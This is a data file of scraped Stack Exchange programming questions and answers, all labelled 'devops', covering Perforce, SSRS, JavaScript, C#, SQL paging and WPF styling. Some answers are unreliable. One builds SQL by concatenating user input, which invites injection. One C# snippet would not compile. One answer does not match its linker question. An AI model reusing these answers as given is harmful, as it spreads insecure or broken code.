{"id": "hf_632941bc226d", "question": "<p>Anybody have a script or alias to find untracked (really: unadded) files in a Perforce tree?</p>\n\n<p>EDIT: I updated the accepted answer on this one since it looks like P4V added support for this in the January 2009 release.</p>\n", "question_body": "", "answer": "Ahh, one of the Perforce classics :) Yes, it really sucks that there is STILL no easy way for this built into the default commands.\nThe easiest way is to run a command to find all files under your clients root, and then attempt to add them to the depot. You'll end up with a changelist of all new files and existing files are ignored.\nE.g dir /s /b /A-D | p4 -x - add\n(use 'find . -type f -print' from a nix command line).\nIf you want a physical list (in the console or file) then you can pipe on the results of a diff (or add if you also want them in a changelist).\nIf you're running this within P4Win you can use $r to substitute the client root of the current workspace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.045751"}
{"id": "hf_7d5c81c964b1", "question": "<p>I writing a report in Visual Studio that takes a user input parameter and runs against an ODBC datasource. I would like to write the query manually and have reporting services replace part of the where clause with the parameter value before sending it to the database. What seems to be happening is that the <code>@parmName</code> I am assuming will be replaced is actually being sent as part of the SQL statement. Am I missing a configuration setting somewhere or is this simply not possible?</p>\n\n<p>I am not using the filter option in the tool because this appears to bring back the full dataset from the database and do the filtering on the SQL Server.</p>\n", "question_body": "", "answer": "It sounds like you'll need to treat the SQL Statement as an expression. For example:\n```\n```\n=\"Select col1, col2 from table 1 Where col3 = \" & Parameters!Param1.Value\n```\n```\nIf the where clause is a string you would need to do the following:\n```\n```\n=\"Select col1, col2 from table 1 Where col3 = '\" & Parameters!Param1.Value & \"'\"\n```\n```\nImportant: Do not use line breaks in your SQL expression. If you do you will get an error.\nHolla back if you need any more assistance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.069133"}
{"id": "hf_02a607c0fc48", "question": "<p>I would like to filter an array of items by using the <code>map()</code> function. Here is a code snippet:</p>\n\n<pre><code>var filteredItems = items.map(function(item)\n{\n    if( ...some condition... )\n    {\n        return item;\n    }\n});\n</code></pre>\n\n<p>The problem is that filtered out items still uses space in the array and I would like to completely wipe them out.</p>\n\n<p>Any idea?</p>\n\n<p>EDIT: Thanks, I forgot about <code>filter()</code>, what I wanted is actually a <code>filter()</code> then a <code>map()</code>.</p>\n\n<p>EDIT2: Thanks for pointing that <code>map()</code> and <code>filter()</code> are not implemented in all browsers, although my specific code was not intended to run in a browser.</p>\n", "question_body": "", "answer": "That's not what map does. You really want\n```\nArray.filter\n```\n. Or if you really want to remove the elements from the original list, you're going to need to do it imperatively with a for loop.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.106749"}
{"id": "hf_b8cc511e2c4c", "question": "<p>How do you retrieve selected text using Regex in C#?</p>\n\n<p>I am looking for C# code that is equivalent to this Perl code:</p>\n\n<pre><code>$indexVal = 0;\nif($string =~ /Index: (\\d*)/){$indexVal = $1;}\n</code></pre>\n", "question_body": "", "answer": "```\n```\nint indexVal = 0;\nRegex re = new Regex(@\"Index: (\\d*)\")\nMatch m = re.Match(s)\n\nif(m.Success)\n  indexVal = int.TryParse(m.Groups[1].toString());\n```\n```\nI might  have the group number wrong, but you should be able to figure it out from here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.143434"}
{"id": "hf_8e28b4a4db2b", "question": "<p>How do you create a static class in C++? I should be able to do something like:</p>\n\n<pre><code>cout &lt;&lt; \"bit 5 is \" &lt;&lt; BitParser::getBitAt(buffer, 5) &lt;&lt; endl;\n</code></pre>\n\n<p>Assuming I created the <code>BitParser</code> class. What would the <code>BitParser</code> class definition look like?</p>\n", "question_body": "", "answer": "In C++ you want to create a static function of a class (not a static class).\n```\n```\nclass BitParser {\npublic:\n  ...\n  static ... getBitAt(...) {\n  }\n};\n```\n```\nYou should then be able to call the function using BitParser::getBitAt() without instantiating an object which I presume is the desired result.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.192869"}
{"id": "hf_e366512bcb15", "question": "<p>Has anyone been able to get xinc to run correctly under OpenBSD's chrooted default Apache? I'd like to keep our development server running fully chrooted just like our Production server so that we make sure our code runs just fine chrooted.</p>\n", "question_body": "", "answer": "Having never used xinc myself, I can only hint as to how I usually get to chrooting apps.\nFirst step would be to gather information on everything the app needs to run; this I usually accomplish by running\nsystrace(1)\nand\nldd(1)\nto find out what is needed to run the software.\nGo through the output of\n```\n```\nsystrace -A -d. <app>\nldd <app>\n```\n```\nand make sure that everything the app touches and needs (quite a lot of apps touch stuff it doesn't actually need) is available in the chroot environment. You might need to tweak configs and environment variables a bit. Also, if there is an option to have the app log to syslog, I usually do that and create a syslog socket (see the -a option of\nsyslogd(8)\n) in order to decrease the places the app needs write access to.\nWhat I just described is a generic way to make just about any program run in a chroot environment (however, if you need to import half the userland and some suid commands, you might want to just not do chroot :). For apps running under Apache (I'm sure you're aware that the OpenBSD\nhttpd(8)\nis slightly different) you have the option (once the program has started; any dynamic libraries still needs to be present in the jail) of using apache to access the files, allowing  the use of\nhttpd.conf\nto import resources in the chroot environment without actually copying them.\nAlso useful (if slightly outdated) is\nthis\nlink, outlining some gotchas in chrooted PHP on OpenBSD.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.350696"}
{"id": "hf_854496ce2119", "question": "<p>This should be fine seeing as the CLR hasn't actually changed?</p>\n\n<p>The boxes running the C# 2.0 code <strong>have</strong> had .NET 3.5 rolled out.</p>\n\n<p>The background is that we have a windows service (.NET 2.0 exe built with VS2005, deployed to ~150 servers) that dynamically loads assemblies (almost like plug-ins) to complete various work items asked of it. Whenever we roll out a new version of the bus logic, we just drop the assemblies on an FTP server and the windows service knows how to check for, grab and store the latest versions. New assemblies are now built using VS2008 and targetting .NET 2.0, we know that works ok. However we'd like to start taking advantage of C# 3.0 language features such as LINQ and targetting the assemblies against .NET 3.5 without having to build and deploy a new version of the windows service.</p>\n", "question_body": "", "answer": "C#3 and .Net 3.5 adds new assemblies, but the IL is unchanged.\nThis means that with .Net 2 assemblies you can compile and use C#3, as long as you don't use Linq or anything else that references System.Linq or System.Core\n```\nyield\n```\n,\n```\nvar\n```\n, lambda syntax, anon types and initialisers are all compiler cleverness. The IL they produce is cross-compatible.\nIf you can reference the new assemblies for 3.5 it should all just work.\nThere is no new version of ASP.Net - it should still be 2.0.50727 - but you should still compile for 3.5", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.431232"}
{"id": "hf_dc4303e2053f", "question": "<p>I'm integrating .NET support into our C++ application.<br />\nIt's an old-school MFC application, with 1 extra file compiled with the \"/clr\" option that references a CWinFormsControl.</p>\n\n<p>I'm not allowed to remove the linker flag \"/NODEFAULTLIB\".<br />\n(We have our own build management system, not Visual Studio's.)<br />\nThis means I have to specify all necessary libraries: VC runtime and MFC.</p>\n\n<p>Other compiler options include \"/MD\"</p>\n\n<p>Next to that: I can't use the linker flag \"/FORCE:MULTIPLE\" and just add <em>everything</em>:<br />\nI'm looking for a non-overlapping set of libraries.</p>\n", "question_body": "", "answer": "We have a BizTalk 2006 with Web Application and Several WebServices that need to go from Dev to UAT to Live.\nWe use MSBuild right from within VS to build, run tests, dependent on test result, complie, zip and ship to servers.\nSmall MSBuild script on server to unzip, move the files, install clean web app, unlist biztalk bits, install new biztalk bits, re enlist and then start the stuff.\nMSBuild is hugh and more people need to use it as it there now right in the platform =>\nUse\nMSBuild", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.470422"}
{"id": "hf_c1d5d1ad312d", "question": "<p>I'm looking for a tool which can generate a <a href=\"https://en.wikipedia.org/wiki/Make_(software)#Makefile\" rel=\"nofollow noreferrer\">Makefile</a> for a C/C++ project for different compilers (<a href=\"https://en.wikipedia.org/wiki/GNU_Compiler_Collection\" rel=\"nofollow noreferrer\">GCC</a>, <a href=\"https://en.wikipedia.org/wiki/Microsoft_Visual_C%2B%2B\" rel=\"nofollow noreferrer\">Microsoft Visual C++</a>, <a href=\"https://en.wikipedia.org/wiki/C%2B%2BBuilder\" rel=\"nofollow noreferrer\">C++Builder</a>, etc.) and different platforms (Windows, Linux, and Mac).</p>\n", "question_body": "", "answer": "Try\nAutomatic Makefile Generator\n.\nIt has support for the following compilers:\nBorland 3.1\nBorland 5.0\nBorland 5.0, 16 bit\nBorland 5.5\nBorland 5.6\nBorland 5.8\nCC\nGNU g++\nGNU g++, dynamic library\nIntel 5, 6, 7 for Linux\nIntel 5, 6, 7 for Linux, dynamic library\nIntel 5, 6, 7 for Windows\nIntel 8,9,10 for Linux\nIntel 8,9,10 for Linux, dynamic library\nIntel 8,9 for Windows\nIntel 10 for Windows\nVisual C++ 5\nVisual C++ 6, 7, 7.1\nVisual C++ 8\nOpen Watcom\nWatcom 10A\nWatcom 10A, 16 bit", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.494380"}
{"id": "hf_cc211ba94553", "question": "<p>I'm trying to set the group type for a new Active Directory Entry via VB.NET and DirectoryServices to create a distribution list.</p>\n\n<p>How do I access the ADS_GROUP_TYPE enumerations?</p>\n\n<p>Specifically I'm after ADS_GROUP_TYPE_GLOBAL_GROUP.</p>\n", "question_body": "", "answer": "I don't think I can access the enumerations via .NET so instead I created the specific constant I needed. For what it's worth here's my code:\n```\n```\nConst ADS_GROUP_TYPE_GLOBAL_GROUP As Object = &H2\n        adNewGroup.Properties(\"groupType\").Value = ADS_GROUP_TYPE_GLOBAL_GROUP\n```\n```\nRefactoring welcome!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.552222"}
{"id": "hf_7df8d50193e2", "question": "<p>Suppose we have a table A:</p>\n\n<pre><code>itemid mark\n1      5\n2      3\n</code></pre>\n\n<p>and table B:</p>\n\n<pre><code>itemid mark\n1      3\n3      5\n</code></pre>\n\n<p>I want to join A*B on A.itemid=B.itemid both right and left ways. i.e. result:</p>\n\n<pre><code>itemid A.mark B.mark\n1      5      3\n2      3      NULL\n3      NULL   5\n</code></pre>\n\n<p>Is there a way to do it in one query in MySQL?</p>\n", "question_body": "", "answer": "Could do with some work but here is some sql\n```\n```\nselect distinct T.itemid, A.mark as \"A.mark\", B.mark as \"B.mark\"\n    from (select * from A union select * from B) T \n    left join A on T.itemid = A.itemid \n    left join B on T.itemid = B.itemid;\n```\n```\nThis relies on the left join, which returns all the rows in the original table (in this case this is the subselect table T). If there are no matches in the joined table, then it will set the column to NULL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.576223"}
{"id": "hf_cd6bc54b5611", "question": "<p>Apparantly when users right-click in our WPF application, and they use the Windows Classic theme, the default ContextMenu of the TextBox (which contains Copy, Cut and Paste) has a black background.</p>\n\n<p>I know this works well:</p>\n\n<pre><code>&lt;Page xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n\n      xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"&gt;\n\n  &lt;TextBox ContextMenu=\"{x:Null}\"/&gt;\n\n&lt;/Page&gt;\n</code></pre>\n\n<p>But this doesn't work:</p>\n\n<pre><code>&lt;Page xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n      xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"&gt;\n\n&lt;Page.Resources&gt;\n\n &lt;Style x:Key=\"{x:Type TextBox}\" TargetType=\"{x:Type TextBox}\"&gt;\n   &lt;Setter Property=\"ContextMenu\" Value=\"{x:Null}\"/&gt;\n&lt;/Style&gt;\n&lt;/Page.Resources&gt;\n\n  &lt;TextBox/&gt;\n&lt;/Page&gt; \n</code></pre>\n\n<p>Does anyone know how to style or disable the default ContextMenu for all TextBoxes in WPF?</p>\n", "question_body": "", "answer": "Try removing the x:Key attribute from the Style resource, leaving TargetType.  I know, you're supposed to have that x:Key for a resource, but if you have it along with your TargetType the Key prevails.\nHere's a sample style that I use in a project to skin all tooltips in one of my apps (this is in App.Resources--notice, no Key)\n```\n```\n<Style\n    TargetType=\"{x:Type ToolTip}\">\n    <Setter\n      Property=\"Template\">\n      <Setter.Value>\n        <ControlTemplate\n          TargetType=\"{x:Type ToolTip}\">\n          <Grid\n            Width=\"{TemplateBinding Width}\"\n            Height=\"{TemplateBinding Height}\">\n            <Rectangle\n              RadiusX=\"9\"\n              RadiusY=\"9\"\n              Stroke=\"LightGray\"\n              StrokeThickness=\"2\">\n              <Rectangle.Fill>\n                <RadialGradientBrush>\n                  <GradientStop />\n                  <GradientStop\n                    Color=\"FloralWhite\"\n                    Offset=\"0\" />\n                  <GradientStop\n                    Color=\"Cornsilk\"\n                    Offset=\"2\" />\n                </RadialGradientBrush>\n              </Rectangle.Fill>\n            </Rectangle>\n            <ContentPresenter\n              Margin=\"6 4 6 4\" />\n          </Grid>\n        </ControlTemplate>\n      </Setter.Value>\n    </Setter>\n  </Style>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.624775"}
{"id": "hf_0982949c9baa", "question": "<p>Given a handle of type <code>HWND</code> is it possible to confirm that the handle represents a real window?</p>\n", "question_body": "", "answer": "There is a function\n```\nIsWindow\n```\nwhich does exactly what you asked for.\n```\n```\nBOOL isRealHandle = IsWindow(unknwodnHandle);\n```\n```\nLook at\nthis link\nfor more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.672668"}
{"id": "hf_41ad704fe910", "question": "<p>I wonder what type of servers for internal usage you virtualize in the last -say- 6 months. Here's what we got virtual so far:</p>\n\n<ul>\n<li>mediawiki</li>\n<li>bugtracker (mantis)</li>\n<li>subversion</li>\n</ul>\n\n<p>We didn't virtualize spezialized desktop PCs which are running a certain software product, that is only used once in a while. Do you plan to get rid of those old machines any time soon?</p>\n\n<p>And which server products do you use? Vmware ESX, Vmware Server, Xen installations...?</p>\n", "question_body": "", "answer": "Our build machine running FinalBuilder runs on a Windows XP Virtual Machine running in VMWare Server on Linux.\nIt is very practical to move it and also to backup, we just stop the Virtual Machine and copy the disk image.\nSome days ago we needed to change the host pc, it took less than 2 hours to have our builder up and running on another pc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.769811"}
{"id": "hf_bcae33d06d00", "question": "<p>I was reading Joel's book where he was suggesting as interview question:</p>\n\n<blockquote>\n  <p>Write a program to reverse the \"ON\" bits in a given byte.</p>\n</blockquote>\n\n<p>I only can think of a solution using C. </p>\n\n<p>Asking here so you can show me how to do in a Non C way (if possible)</p>\n", "question_body": "", "answer": "What specifically does that question mean?\nDoes\nreverse\nmean setting 1's to 0's and vice versa?\nOr does it mean\n00001100\n-->\n00110000\nwhere you reverse their order in the byte? Or perhaps just reversing the part that is from the first 1 to the last 1? ie.\n00110101\n-->\n00101011\n?\nAssuming it means reversing the bit order in the whole byte, here's an x86 assembler version:\n```\n```\n; al is input register\n; bl is output register\n\nxor bl, bl      ; clear output\n\n; first bit\nrcl al, 1       ; rotate al through carry\nrcr bl, 1       ; rotate carry into bl\n\n; duplicate above 2-line statements 7 more times for the other bits\n```\n```\nnot the most optimal solution, a table lookup is faster.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.793884"}
{"id": "hf_cafdec84990d", "question": "<p>Is there a way to check to see if an Microsoft Office process (i.e. Word, Excel) has hung when using Office Automation? Additionally, if the process is hung, is there a way to terminate it?</p>\n", "question_body": "", "answer": "I can answer the latter half; if you have a reference to the application object in your code, you can simply call \"Quit\" on it:\n```\n```\nprivate Microsoft.Office.Interop.Excel.Application _excel;\n// ... do some stuff ...\n_excel.Quit();\n```\n```\nFor checking for a hung process, I'd guess you'd want to try to get some data from the application and see if you get results in a reasonable time frame (check in a timer or other thread or something). There's probably a better way though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.911050"}
{"id": "hf_af9ea33450ef", "question": "<p>I am working on a small webapp and I want to use Groovy to write some unit testing for my app. Most of my coding is done on Eclipse and I really want to run all the unit testing with the graphical test runner within Eclipse (I really like the green bar :) )</p>\n\n<p>Sadly, after 4 hours of try-and-error, I'm still not able to setup properly. I tried to use the Eclipse Junit4 test runner to run a Groovy file with method annotated for testing using <code>@Test</code>. But it keeps complaining <code>NoClassDefFoundException</code></p>\n\n<p>Anyone can help? </p>\n\n<p>Here is content of my groovy file, named simpleTest.groovy</p>\n\n<pre><code>import org.junit.Test\nimport static org.junit.Assert.assertEquals\n\nclass simpleTest{\n  @Test\n  void trial(){\n    assertEquals 6, 3+3\n  }\n}\n</code></pre>\n\n<p>Anyone can help?</p>\n", "question_body": "", "answer": "Unfortunately, the Groovy Eclipse plugin is pretty horrible at giving actual helpful information to let you know what is going wrong with your setup. I'm going to assume you  already did the verification to make sure the plugin is actually building your Groovy files (i.e. doing a sample with no dependencies, checking the properly output directory, etc...) After that, it's a lot of really small configuration verification...I've run into problems where the particular \"runner\" I'm using in Eclipse (i.e. in the Run menu) doesn't have the write class name defined there or for some reason my project didn't get the JUnit library dependency properly inserted into it.\nUltimately, it can be a configuration headache, but long term you'll end up saving some time and gaining some cool functionality if you can knock it out...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.947949"}
{"id": "hf_1cc4531be7c2", "question": "<p>I have an application deployed into multiple zones and there are some issues with opening larger documents (20-50MB) across the WAN.  </p>\n\n<p>Currently the documents are stored in Zone 1 (Americas) and a link stored in the database to the docs.  </p>\n\n<p>I have heard some things about blobs in oracle and store binary in MS SQL Server 2005 and then perhaps copying the database to other zones.</p>\n\n<p>Any other suggestions or good results with one of the described options?</p>\n", "question_body": "", "answer": "Your best option here may be caching the document in the requested zone the first time it is requested, and pinging the source document's last modified each time the cached document is requested in order to determine if it needs refreshed. In this case you're only requesting a small piece of information (a date) across the WAN most of the times the document is accessed. This works best for a subset of documents that are frequently requested.\nIf you have a large set of documents, each infrequently requested by a disparate group, then you may want to look into replicating the documents in each of your zones each time the master is updated. This may best be accomplished by storing the document as binary data in your master database and having the slaves pull from the master.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:37.971246"}
{"id": "hf_09c7d2c56abc", "question": "<p>This is a question I asked on another forum which received some decent answers, but I wanted to see if anyone here has more insight.</p>\n\n<p>The problem is that you have one of your pages in a web application timing out when it gets to a stored procedure call, so you use Sql Profiler, or your application trace logs, to find the query and you paste it into management studio to figure our why it's running slow.  But you run it from there and it just blazes along, returning in less than a second each time.</p>\n\n<p>My particular case was using ASP.NET 2.0 and Sql Server 2005, but I think the problem could apply to any RDBMS system.</p>\n", "question_body": "", "answer": "Try changing the SelectCommand timeout value:\n```\n```\nDataAdapter.SelectCommand.CommandTimeout = 120;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.011666"}
{"id": "hf_70a74272c49a", "question": "<p>I understand how JS is run and I think I understand most of the DOM but I've no idea about animation. Does anybody here know of a good guide that can explain to me how it's done in Javascript?</p>\n\n<p>In addition, should I even consider Javascript for animation? Should I instead be looking to learn flash?</p>\n", "question_body": "", "answer": "if your animation is simple, change colors over time, move from x to y in 3 seconds. Javascript is fine. If you want all kinds of wizbang buttons and coordinated rotation of the screen, straight up js + dhtml will be clunky at best. Silverlight vs Flash are you questions at that point. Interestingly enough, you program Silverlight with javascript, and that would be the major benefit to simply upgrading to a faster and more dynamic DOM that is implemented in Silverlight but still writing the same code. Flash programmability is very limited in my experience, you can do anything, but it will be slow and take thousands of lines of code to get there. For simple JS animations look at jQuery or Scriptaculous.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.059699"}
{"id": "hf_831ad15a2d9f", "question": "<p>What's the best way to make a linked list in Java?</p>\n", "question_body": "", "answer": "Java has a\nLinkedList\nimplementation, that you might wanna check out. You can download the JDK and it's sources at\njava.sun.com\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.083599"}
{"id": "hf_da4d98fd7dcb", "question": "<p>How do I write code where a company icon appears on the left side next to the URL address in the browser's address bar?</p>\n", "question_body": "", "answer": "it loads www.whateveryouron.com/favicon.ico\nif your domain is robermyers.com, just put a favicon.ico 16px icon thats accessible, and you're in like flint.\njust try this\ngoogles\nor\nstackoverflows", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.142184"}
{"id": "hf_7f22db753ab4", "question": "<p>I'm getting into more of a TDD workflow, and have a mix of MVC and asp.net Web Forms apps.</p>\n\n<p>MOQ is recommended for MVC.</p>\n\n<p>I've used Rhino for Web Forms.</p>\n\n<p>Does anyone have a best practice for having 1 framework mock for both?</p>\n", "question_body": "", "answer": "I would just go ahead and use my favourite framework for both. I don't think there's any reason that I would choose one framework for web forms and another for MVC. A far bigger problem is how I would unit test my web forms pages at all, since it's notoriously hard to seperate the page from the rest of the HttpRequest stack.\nMy favourite is Moq. I've also used TypeMock. It costs money, but it's really powerful - it lets you mock concrete classes and constructors, so you could potentially mock things like HttpContext or HttpRequest.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.182083"}
{"id": "hf_24882106d816", "question": "<p>I'm trying to decode the result of the Python os.wait() function. This returns, according to the Python docs:</p>\n\n<blockquote>\n  <p>a tuple containing its pid and exit status indication: a 16-bit number, whose low byte is the signal number that killed the process, and whose high byte is the exit status (if the signal number is zero); the high bit of the low byte is set if a core file was produced.</p>\n</blockquote>\n\n<p>How do I decode the exit status indication (which is an integer) to obtain the high and low byte? To be specific, how do I implement the decode function used in the following code snippet:</p>\n\n<pre><code>(pid,status) = os.wait()\n(exitstatus, signum) = decode(status) \n</code></pre>\n", "question_body": "", "answer": "This will do what you want:\n```\n```\nsignum = status & 0xff\nexitstatus = (status & 0xff00) >> 8\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.205831"}
{"id": "hf_8dcb185398a3", "question": "<p>What's the easiest way to do an \"instring\" type function with a regex? For example, how could I reject a whole string because of the presence of a single character such as <code>:</code>? For example: </p>\n\n<ul>\n<li><code>this</code> - okay</li>\n<li><code>there:is</code> - not okay because of <code>:</code></li>\n</ul>\n\n<p>More practically, how can I match the following string: </p>\n\n<pre><code>//foo/bar/baz[1]/ns:foo2/@attr/text()\n</code></pre>\n\n<p>For any node test on the xpath that doesn't include a namespace?</p>\n\n<pre><code>(/)?(/)([^:/]+) \n</code></pre>\n\n<p>Will match the node tests but includes the namespace prefix which makes it faulty.</p>\n", "question_body": "", "answer": "I dont know regex syntax very well but could you not do:\n```\n[any alpha numeric]\\*:[any alphanumeric]\\*\n```\nI think something like that should work no?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.242382"}
{"id": "hf_13c4b2d07e93", "question": "<p>Many applications have grids that display data from a database table one page at a time. Many of them also let the user pick the number of records per page, sort by any column, and navigate back and forth through the results.</p>\n\n<p>What's a good algorithm to implement this pattern without bringing the entire table to the client and then filtering the data on the client. How do you bring just the records you want to display to the user?</p>\n\n<p>Does LINQ simplify the solution?</p>\n", "question_body": "", "answer": "On MS SQL Server 2005 and above,\nROW_NUMBER()\nseems to work:\nT-SQL: Paging with ROW_NUMBER()\n```\n```\nDECLARE @PageNum AS INT;\nDECLARE @PageSize AS INT;\nSET @PageNum = 2;\nSET @PageSize = 10;\n\nWITH OrdersRN AS\n(\n    SELECT ROW_NUMBER() OVER(ORDER BY OrderDate, OrderID) AS RowNum\n          ,OrderID\n          ,OrderDate\n          ,CustomerID\n          ,EmployeeID\n      FROM dbo.Orders\n)\n\nSELECT * \n  FROM OrdersRN\n WHERE RowNum BETWEEN (@PageNum - 1) * @PageSize + 1 \n                  AND @PageNum * @PageSize\n ORDER BY OrderDate\n         ,OrderID;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.265053"}
{"id": "hf_25aab0badcb9", "question": "<p>Consider this problem: I have a program which should fetch (let's say) 100 records from a database, and then for each one it should get updated information from a web service. There are two ways to introduce parallelism in this scenario:</p>\n\n<ol>\n<li><p>I start each request to the web service on a new Thread. The number of simultaneous threads is controlled by some external parameter (or dynamically adjusted somehow).</p></li>\n<li><p>I create smaller batches (let's say of 10 records each) and launch each batch on a separate thread (so taking our example, 10 threads).</p></li>\n</ol>\n\n<p>Which is a better approach, and why do you think so?</p>\n", "question_body": "", "answer": "Two things to consider.\n1. How long will it take to process a record?\nIf record processing is very quick, the overhead of handing off records to threads can become a bottleneck.  In this case, you would want to bundle records so that you don't have to hand them off so often.\nIf record processing is reasonably long-running, the difference will be negligible, so the simpler approach (1 record per thread) is probably the best.\n2. How many threads are you planning on starting?\nIf you aren't using a threadpool, I think you either need to manually limit the number of threads, or you need to break the data into big chunks.  Starting a new thread for every record will leave your system thrashing if the number of records get large.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:38.309187"}
